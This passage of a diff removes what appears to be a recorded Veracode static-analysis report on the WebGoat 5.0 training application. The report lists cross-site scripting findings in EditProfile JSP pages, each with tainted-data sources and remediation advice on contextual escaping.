-        the HTTP response with user-supplied input, allowing an attacker to embed
-        malicious content, such as Javascript code, which will be executed in the
-        context of the victim's browser.  XSS vulnerabilities are commonly exploited
-        to steal or manipulate cookies, modify presentation of content, and compromise
-        confidential information, with new attack vectors being discovered on a regular
-        basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\" categoryname=\"Improper
-        Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)\" count=\"1\"
-        issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.jsp.JspWriter.print\"
-        description=\"This call to javax.servlet.jsp.JspWriter.print() contains a
-        cross-site scripting (XSS) flaw. The application populates the HTTP response
-        with user-supplied input, allowing an attacker to embed malicious content,
-        such as Javascript code, which will be executed in the context of the victim's
-        browser. XSS vulnerabilities are commonly exploited to steal or manipulate
-        cookies, modify presentation of content, and compromise confidential information,
-        with new attack vectors being discovered on a regular basis. The first argument
-        to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile.jsp\" line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"240\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile.jsp\" line=\"94\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"177\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getFirstName().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getFirstName().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getFirstName().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getLastName().
-        The tainted data originated from earlier calls to java.sql.statement.executequery,
-        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getLastName().
-        The tainted data originated from earlier calls to java.sql.statement.executequery,
-        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getLastName().
-        The tainted data originated from earlier calls to java.sql.statement.executequery,
-        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
